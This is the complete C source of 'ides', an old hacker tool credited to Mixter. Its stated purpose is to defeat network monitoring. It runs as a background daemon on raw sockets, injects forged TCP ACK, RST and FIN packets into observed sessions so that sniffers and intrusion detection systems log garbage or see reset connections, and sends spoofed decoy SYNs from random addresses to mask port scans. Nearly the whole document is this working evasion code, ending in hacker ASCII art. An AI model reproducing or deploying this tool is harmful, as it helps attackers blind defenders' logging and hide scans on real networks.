|
/* * ides version 0.3 - 'intrusion detection evasion system' * (c) Jan 2000 by Mixter * * IDES will go into background and watch incoming traffic, inserting forged * TCP ack, rst and fin packets for every transmitted data packet. The sessions * will not be affected, since the sequence numbers change, but all sniffing * and monitoring software that evaluates raw packets is possibly tricked into * evaluating the forged data or seeing reset connections, making logging * unreliable or impossible. As a second feature, IDES will create a custom * amount of fake SYNs on each valid tcp connection request, transparently * simulating coordinated/decoy scans from random source addresses. * IDES can be used on a remote host or locally to fool sniffers, IDS and * other network monitors and to generate random decoy probes while scanning. * Acknowledgements: MUCH of this idea is from stran9ers (private) code, which * is better to configure, and from horizons article in Phrack 54. * * Changes: * v 0.3 - code sanitized, prevent generation of ACK storms/feedback loops * v 0.2 - now uses a unique XOR (ph33r) challenge value for each process */ #define DECOYS 10 /* number of forged SYNs to send on each tcp connection initiation */ #undef DEBUG /* stay in foreground + dump packet info */ #undef NO_INADDR /* solaris */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <fcntl.h> #ifndef IP_HDRINCL #define IP_HDRINCL 3 #endif #ifndef PF_INET #define PF_INET 2 #endif #ifndef AF_INET #define AF_INET PF_INET #endif typedef unsigned char u8; typedef unsigned short int u16; typedef unsigned int u32; #ifndef NO_INADDR #ifndef in_addr struct in_addr { unsigned long int s_addr; }; #endif #endif #ifndef htons #if __BYTE_ORDER == __BIG_ENDIAN #define ntohl(x) (x) #define ntohs(x) (x) #define htonl(x) (x) #define htons(x) (x) #else unsigned long int htonl (unsigned long int hostlong); unsigned short int htons (unsigned short int hostshort); unsigned long int ntohl (unsigned long int netlong); unsigned short int ntohs (unsigned short int netshort); #endif #endif #define IP 0 #define TCP 6 #define RAW 255 struct sa { u16 fam, dp; u32 add; u8 zero[8]; } sadd; struct ip { #if __BYTE_ORDER == __LITTLE_ENDIAN u8 ihl:4, ver:4; #else u8 ver:4, ihl:4; #endif u8 tos; u16 tl, id, off; u8 ttl, pro; u16 sum; u32 src, dst; } *ih; struct tcp { u16 src, dst; u32 seq, ackseq; #if __BYTE_ORDER == __LITTLE_ENDIAN u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2; #else u16 doff:4, res1:4, res2:2, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1; #endif u16 win, sum, urp; } *th; unsigned short ip_sum (unsigned short *, int); unsigned short ip_sum (addr, len) unsigned short *addr; int len; { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&answer) = *(unsigned char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } char rseed[65535]; int rcounter = 0; void random_init (void) { int rfd = open ("/dev/urandom", O_RDONLY); if (rfd < 0) rfd = open ("/dev/random", O_RDONLY); rcounter = read (rfd, rseed, 65535); close (rfd); } inline long getrandom (int min, int max) { if (rcounter < 2) random_init (); srand (rseed[rcounter] + (rseed[rcounter - 1] << 8)); rcounter -= 2; return ((random () % (int) (((max) + 1) - (min))) + (min)); } u32 magic; char packet[1024], *dh; #define GETLRANDOM (getrandom (0, 65535) * getrandom (0, 65535)) #define CLONED ((ntohl(th->seq) == (ntohl (ih->src)^magic))) void syndecoy (int s) { #ifdef DEBUG printf ("*"); #endif sadd.fam = AF_INET; sadd.dp = th->dst; sadd.add = ih->dst; ih->ver = 4; ih->ihl = 5; ih->tos = 0x00; ih->tl = sizeof (struct ip) + sizeof (struct tcp); ih->id = getrandom (0, 65535); ih->off = 0; ih->ttl = getrandom (200, 255); ih->pro = TCP; ih->sum = 0; ih->src = htonl (GETLRANDOM); th->seq = htonl (ntohl (ih->src) ^ magic); th->ackseq = 0; th->res1 = 0; th->doff = 0; th->fin = 0; th->syn = 1; th->ack = 0; th->rst = 0; th->psh = 0; th->ack = 0; th->urg = 1; th->res2 = 0; th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1); ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1); memset (dh, 0, 256); sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd)); } void idscrew (int s) { int flg = ((th->ack) && (!th->psh)), rl = getrandom (0, 256); #ifdef DEBUG printf ("."); #endif sadd.fam = AF_INET; sadd.dp = th->dst; sadd.add = ih->dst; ih->ver = 4; ih->ihl = 5; ih->tos = 0x00; ih->tl = sizeof (struct ip) + sizeof (struct tcp); ih->id = getrandom (0, 65535); ih->off = 0; ih->ttl = getrandom (200, 255); ih->pro = TCP; ih->sum = 0; th->seq = htonl (ntohl (ih->src) ^ magic); th->ackseq = htonl (GETLRANDOM); th->res1 = 0; th->doff = 0; th->fin = 0; th->syn = 0; th->ack = 1; th->rst = 0; th->psh = 1; th->ack = 0; th->urg = 0; th->res2 = 0; memset (dh, 0, 256); th->ack = 0; th->psh = 0; th->rst = 1; th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1); ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1); sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd)); if (flg) /* this is necessary to prevent ev1l ACK st0rmz#@!$ */ return; th->rst = 0; th->fin = 1; th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1); ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1); sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd)); ih->tl += rl; th->fin = 0; th->ack = 1; memcpy (dh, rseed + getrandom (0, 5000), rl); th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1); ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1); sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd)); th->psh = 1; memcpy (dh, rseed + getrandom (0, 5000), rl); th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1); ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1); sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd)); ih->tl -= rl; } int main (int argc, char **argv) { char *opt = "1"; int i = 0, s = socket (AF_INET, SOCK_RAW, TCP); magic = GETLRANDOM; /* initialize our magic challenge */ ih = (struct ip *) packet; th = (struct tcp *) (packet + sizeof (struct ip)); dh = (char *) (packet + sizeof (struct ip) + sizeof (struct tcp)); #ifndef DEBUG if ((i = fork ())) { printf ("%s launching into the background (pid: %d)\n", argv[0], i); exit (0); } #endif if (s < 0) perror (""); if (setsockopt (s, IP, IP_HDRINCL, opt, sizeof (opt)) < 0) perror (""); while (1) { if (read (s, packet, 1020) > 0) if ((!CLONED) && (th->ack)) { #ifdef DEBUG printf ("Seq: %lu, ack: %lu, src: %lu (S%dA%dP%dF%dR%dU%d)\n", ntohl (th->seq), ntohl (th->ackseq), ntohl (ih->src), th->syn, th->ack, th->psh, th->fin, th->rst, th->urg); fflush (stdout); #endif if (th->syn) for (i = 0; i < DECOYS; i++) syndecoy (s); else if ((!th->fin) && (!th->rst)) idscrew (s); } memset (packet, 0, 1024); } return 0; } /* $t34lthy OoOoO . h4x3r _______( o__ o |___\ 0|_ | _ ( _| O / 0|___||_O(___| ( 1 4m h1d1ng!@$ ) */